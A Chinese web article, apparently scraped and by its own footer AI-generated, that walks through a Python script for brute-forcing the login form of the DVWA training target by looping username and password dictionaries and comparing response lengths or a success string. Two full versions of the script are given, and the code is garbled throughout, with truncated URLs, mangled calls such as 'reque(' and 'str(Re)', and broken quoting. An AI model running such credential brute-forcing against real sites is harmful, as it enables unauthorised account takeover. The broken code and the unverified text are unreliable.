您的位置 首页 > 数码极客

如何攻击一个简易网站

测试靶机为DVWA,适合DVWA暴力破解模块的Low和Medium等级。


关键代码解释


url指定url地址

url = ";


header设置请求头

header = { 'User-Agent':'Mozilla (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox;, 'Cookie':'security=medium; PHPSESSID=geo7gb3ehf5gfnbhrvuqu545i7' }


payload设置请求参数

payload = {'username':username,'password':password,"Login":'Login'}


这一行的作用是作一次get请求,响应信息被变量Response接收。

Response = reque(url,params=payload,headers=header)


这两行代码循环遍历账号和密码字典文件,之后给他们做笛卡尔积循环暴力破解


这种方式和burp的Intruder模块的Cluster bomb攻击方式一样。

for admin in open("C:\\Users\\admin\\Documents\\字典\\账号.txt"): for line in open("C:\\Users\\admin\\Documents\\字典\\密码.txt"):


然后把循环结果存放到csv文件里,用逗号分割数据


Re是响应的http状态码,len)是http响应报文的长度。

result = str(Re) + ',' + username + ','\ + password + ',' + str(len)) f.write(result + '\n')


完整代码


方法一


登陆成功的和失败返回数据不同,所以数据包长度也不同。包长度与其他不同的数据,可能就是正确的账号密码。

import requests url = "; #proxies= {"http":"http://127.0.0.1:8080"} #代理设置,方便burp抓包查看 header = { 'User-Agent':'Mozilla (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox;, 'Cookie':'security=medium; PHPSESSID=bdi0ak5mqbud69nrnejgf8q00u' } f = open('re;,'w') f.write('状态码' + ',' + '用户名' + ',' + '密码' + ',' + '包长度' + '\n') for admin in open("C:\\Users\\admin\\Documents\\字典\\账号.txt"): for line in open("C:\\Users\\admin\\Documents\\字典\\密码.txt"): username = admin.strip() password = line.strip() payload = {'username':username,'password':password,"Login":'Login'} Response = reque(url,params=payload,headers=header) result = str(Re) + ',' + username + ','\ + password + ',' + str(len)) f.write(result + '\n') print('\n完成')



运行



这就是脚本发送的数据包



查看结果



查看包长度与其他不同的数据,登录测试



方法二


这个方法是根据登陆成功的返回特征来判断是否为正确的账号密码,然后把正确的账号密码输出到屏幕和txt文件里。


主要改动在第17到20行

import requests url = "; #proxies= {"http":"http://127.0.0.1:8080"} #代理设置,方便burp抓包查看 header = { 'User-Agent':'Mozilla (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox;, 'Cookie':'security=medium; PHPSESSID=bdi0ak5mqbud69nrnejgf8q00u' } f = open('re;,'w') for admin in open("C:\\Users\\admin\\Documents\\字典\\账号.txt"): for line in open("C:\\Users\\admin\\Documents\\字典\\密码.txt"): username = admin.strip() password = line.strip() payload = {'username':username,'password':password,"Login":'Login'} Response = reque(url,params=payload,headers=header) if no('Welcome to the password protected area')==-1): result = username + ':' + password print(result) f.write(result + '\n') print('\n完成')


运行



责任编辑: 鲁达

1.内容基于多重复合算法人工智能语言模型创作,旨在以深度学习研究为目的传播信息知识,内容观点与本网站无关,反馈举报请
2.仅供读者参考,本网站未对该内容进行证实,对其原创性、真实性、完整性、及时性不作任何保证;
3.本站属于非营利性站点无毒无广告,请读者放心使用!

“如何攻击一个简易网站,如何攻击别人的手机”边界阅读